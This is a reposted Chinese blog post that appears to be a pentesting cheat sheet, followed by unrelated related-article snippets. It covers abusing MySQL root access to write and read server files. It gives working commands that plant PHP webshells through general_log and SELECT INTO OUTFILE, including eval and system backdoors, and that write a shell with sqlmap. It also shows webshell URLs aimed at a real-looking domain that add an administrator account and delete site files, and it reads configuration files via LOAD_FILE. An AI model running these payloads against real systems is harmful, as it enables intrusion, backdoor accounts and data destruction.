mysql數據庫root權限讀寫文件

如果沒有shell,只有數據庫權限的情況下:

1.? udf 提權提示沒有目錄:使用數據流創建目錄

1.  select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\::$INDEX_ALLOCATION';2.  select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\::$INDEX_ALLOCATION';

2.? 日志寫shell

show variables like '%general%'; ?查看日志狀態
SET GLOBAL general_log='on' ? ? 開啟日志讀寫
SET GLOBAL general_log_file='C:/phpStudy/WWW/x.php'; ?指定需要寫入日志路徑
SELECT '<?php eval($_POST["cmd"]);?>' ?寫日志進x.php

3.? mysql直接寫shell

1.  select '<?php ?phpinfo();?>' ?into outfile 'D:/UPUPW_AP7.2_64/htdocs/infoshell.php'2.  select "<?if($_GET['cmd']) { ?system($_GET['cmd']); ?}?>" ?into outfile 'D:/UPUPW_AP7.2_64/htdocs/info2.php'lines terminated by 寫入:
select into outfile 'C:/wamp64/www/shell.php' lines terminated by '<?php phpinfo()?>';
//lines terminated by 可以理解為 以每行終止的位置添加 xx 內容。lines starting by 寫入:
select into outfile 'C:/wamp64/www/shell.php' lines starting by '<?php phpinfo()?>';
//利用 lines starting by 語句拼接webshell的內容。lines starting by 可以理解為 以每行開始的位置添加 xx 內容。fields terminated by 寫入:
select into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '<?php phpinfo() ?>';
//利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個字段的位置添加 xx 內容。columns terminated by 寫入:
select into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '<?php phpinfo() ?>';
//利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個字段的位置添加 xx 內容。sqlmap寫入:
寫:(要寫的文件,必須在kali本機里有)寫入到 /tmp 目錄下  sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=af999 --file-write="shell.php"  --file-dest="/tmp/shell.php"

https://sys.baidu.com/info2.php?cmd=net+user+jiance+jiance@123+/addhttps://sys.baidu.com/info2.php?cmd=net+localgroup+administrators+jiance+/addhttps://sysbaidu.com/info2.php?cmd=del+D:\UPUPW_AP7.2_64\htdocs\*.php

4.? mysql讀文件

1. SELECT LOAD_FILE('D:\UPUPW_AP7.2_64\Apache2\conf\httpd-vhosts.conf');
mysql低權限讀文件:1.  CREATE TABLE `bbs` (`bbs1` TEXT NOT NULL );? # 創建表:
2.  load data local infile '//home//opendb.php' into table  `bbs`; #越權限讀文件 ? 
3.  LOAD DATA LOCAL INFILE '/home/opendb.php' into table bbs fields terminated by '' LINES TERMINATED BY '\0';  # 我讀出來是這樣的 <? ? ? ?> ?讀別的也是 include的部分就沒讀取了懷疑是轉義了

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/715666.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/715666.shtml
英文地址,請注明出處:http://en.pswp.cn/news/715666.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

springcloud和基礎服務的搭建以及封裝

代碼倉庫地址&#xff1a;https://github.com/zhaoyiwen-wuxian/springcloud-common page分頁也進行了封裝&#xff0c;只需要添加到pom中&#xff0c;將會自動進行分頁&#xff0c;并且后端不需要寫任何的分頁數據。只需要前端自己傳分頁參數即可&#xff0c;并且里面封裝了很…

Hololens 2應用開發系列(2)——MRTK基礎知識及配置文件配置(上)

Hololens 2應用開發系列&#xff08;2&#xff09;——MRTK基礎知識及配置文件配置 一、前言二、MRTK基礎知識2.1 MRTK概述2.2 MRTK運行邏輯2.3 MRTK配置文件介紹2.4 MRTK服務 三、配置文件使用3.1 總配置文件3.2 相機配置3.3 其他配置 參考文獻 一、前言 在前面的文章中&…

高效運維監測:全面掌控IT基礎設施與應用性能

在現代IT環境中&#xff0c;確保服務器、網絡設備和應用程序的穩定運行至關重要。為了實現這一目標&#xff0c;運維團隊需要一套高效、靈活的監測系統&#xff0c;能夠實時追蹤各種性能指標&#xff0c;并在出現問題時迅速發出警報。本文將詳細介紹這樣一套監測系統&#xff0…

WebServer -- 數據庫連接池

目錄 &#x1f382;基礎知識 &#x1f6a9;整體內容 &#x1f33c;單例模式創建 &#x1f382;連接池&#xff08;代碼實現&#xff09; 初始化 獲取 && 釋放連接 銷毀連接池 &#x1f351;RAII 機制釋放數據庫連接 定義 實現 &#x1f382;基礎知識 什么是…

使用 Docker 部署 Answer 問答平臺

1&#xff09;介紹 GitHub&#xff1a;https://github.com/apache/incubator-answer Answer 問答社區是在線平臺&#xff0c;讓用戶提出問題并獲得回答。用戶可以發布問題并得到其他用戶的詳細答案、建議或信息。回答可以投票或評分&#xff0c;有助于確定有用的內容。標簽和分…

Ps:歷史記錄面板

Ps菜單&#xff1a;窗口/歷史記錄 Window/History 歷史記錄 History面板提供了對圖像編輯過程中所進行更改的深入控制&#xff0c;可以讓用戶回溯并查看每一步操作&#xff0c;從而允許用戶輕松撤銷錯誤或比較不同的編輯效果。 ◆ ◆ ◆ 常用操作方法與技巧 “歷史記錄”面板…

CentOS7設置虛擬機語言為中文

1.查看本地安裝的語言 locale -a 是一個Linux命令&#xff0c;用于列出系統中可用的所有區域設置&#xff08;locales&#xff09;它包含了各種語言和地區的不同設置。 打開終端&#xff08;右鍵open terminal&#xff09;輸入 locale -a 查看本地安裝的語言&#xff1a; 其中z…

如何在Unity項目中使用Plastic SCM進行版本控制

引言 Plastic SCM是一個版本控制系統&#xff0c;專為處理大型項目而設計&#xff0c;特別適用于游戲開發中的Unity項目。它提供了強大的分支和合并工具&#xff0c;使團隊能夠高效地協作開發。 安裝和設置 安裝Plastic SCM 訪問Plastic SCM官網下載客戶端。根據您的操作系…

一些可以訪問gpt的方式

1、Coze扣子是新一代 AI 大模型智能體開發平臺。整合了插件、長短期記憶、工作流、卡片等豐富能力&#xff0c;扣子能幫你低門檻、快速搭建個性化或具備商業價值的智能體&#xff0c;并發布到豆包、飛書等各個平臺。https://www.coze.cn/ 2、https://poe.com/ 3、插件阿里…

EasyRecovery16電腦硬盤數據恢復軟件功能詳解

在數字化時代&#xff0c;人們在日常生活和工作中越來越依賴于電腦和移動設備。不管是個人用戶還是企業&#xff0c;數據的重要性都不言而喻。然而&#xff0c;數據丟失和損壞的風險也隨之增加&#xff0c;因此&#xff0c;數據恢復軟件的需求也日益增長。 EasyRecovery 16是一…

不同材質的油封及其使用溫度限制

油封&#xff0c;也稱為旋轉軸密封件&#xff0c;是防止潤滑油從機器和軸承內部間隙泄漏的重要部件。油封的有效性很大程度上取決于其承受運行過程中所暴露溫度的能力。 材料問題&#xff1a;不同材料及其溫度限制 制造油封所使用的不同材料可以承受不同的溫度范圍。這里有一…

【打工日常】使用docker部署在線Photopea用于linux下替代ps

一、Photopea介紹 linux沒有ps適配&#xff0c;對于有時候工作來說確實不方便&#xff0c;我找了很久&#xff0c;才找到了一款功能可以跟ps接近的在線軟件&#xff0c;使用docker部署就可以了。它是ps的最佳替代品之一&#xff0c;其界面幾乎與ps相同&#xff0c;只不過它是在…

Springboot+vue的醫藥管理系統(有報告)。Javaee項目,springboot vue前后端分離項目。

演示視頻&#xff1a; Springbootvue的醫藥管理系統&#xff08;有報告&#xff09;。Javaee項目&#xff0c;springboot vue前后端分離項目。 項目介紹&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三層…

云軸科技ZStack與華東師范大學共建產教融合基地

近日&#xff0c;上海云軸信息科技有限公司&#xff08;云軸科技ZStack&#xff09;與華東師范大學上海國際首席技術官學院宣布&#xff0c;共同打造產教融合基地&#xff0c;以促進人才培養與產業需求的全方位融合。這一舉措旨在深化教育與產業的合作關系&#xff0c;培養更多…

實戰 | 使用YOLOv8圖像分割實現路面坑洞檢測(步驟 + 代碼)

導 讀 本文主要介紹使用YOLOv8圖像分割實現路面坑洞檢測&#xff08;步驟 代碼&#xff09;。 背 景 如上圖所示&#xff0c;現實生活中路面坑洞對車輛和駕駛員安全來說存在巨大隱患&#xff0c;本文將介紹如何使用YoloV8圖像分割技術來檢測路面坑洞&#xff0c;從而提示駕…

計算機網絡|Socket

文章目錄 Socket并發socket Socket Socket是一種工作在TCP/IP協議棧上的API。 端口用于區分不同應用&#xff0c;IP地址用于區分不同主機。 以下是某一個服務器的socket代碼。 其中with是python中的一個語法糖&#xff0c;代表當代碼塊離開with時&#xff0c;自動對s進行銷毀…

JS:原型與原型鏈(附帶圖解與代碼)

一、原型 寫在前面&#xff1a; 任何對象都有原型。 函數也是對象&#xff0c;所以函數也有原型。 1.什么是原型 在 JavaScript 中&#xff0c;對象有一個特殊的隱藏屬性 [[Prototype]]&#xff0c;它要么為 null&#xff0c;要么就是對另一個對象的引用&#xff0c;該對象…

什么是片內片間均勻性?

均勻性在芯片制程的每一個工序中都需要考慮到&#xff0c;包括薄膜沉積&#xff0c;刻蝕&#xff0c;光刻&#xff0c;cmp&#xff0c;離子注入等。較高的均勻性才能保證芯片的產品與性能。那么片內和片間非均勻性是什么&#xff1f;如何計算&#xff1f;有什么作用呢&#xff…

遞歸與遞推(藍橋杯 c++)

目錄 題目一&#xff1a; 代碼&#xff1a; 題目二: 代碼&#xff1a; 題目三&#xff1a; 代碼&#xff1a; 題目四&#xff1a; 代碼&#xff1a; 題目一&#xff1a; 代碼&#xff1a; #include<iostream> #include<cstring> using namespace std; int …

react Provider Consumer 使用方法

相關文章 React Context的使用方法 跨幾個組件傳遞值或者方法的時候, 如果依賴父子組件傳值, 那勢必會很麻煩. 好在react提供了Provider 和 Consumer 1 調用react的createContext()方法, 產生生產者和消費者組件. // context.js import React from react let { Consumer, Pr…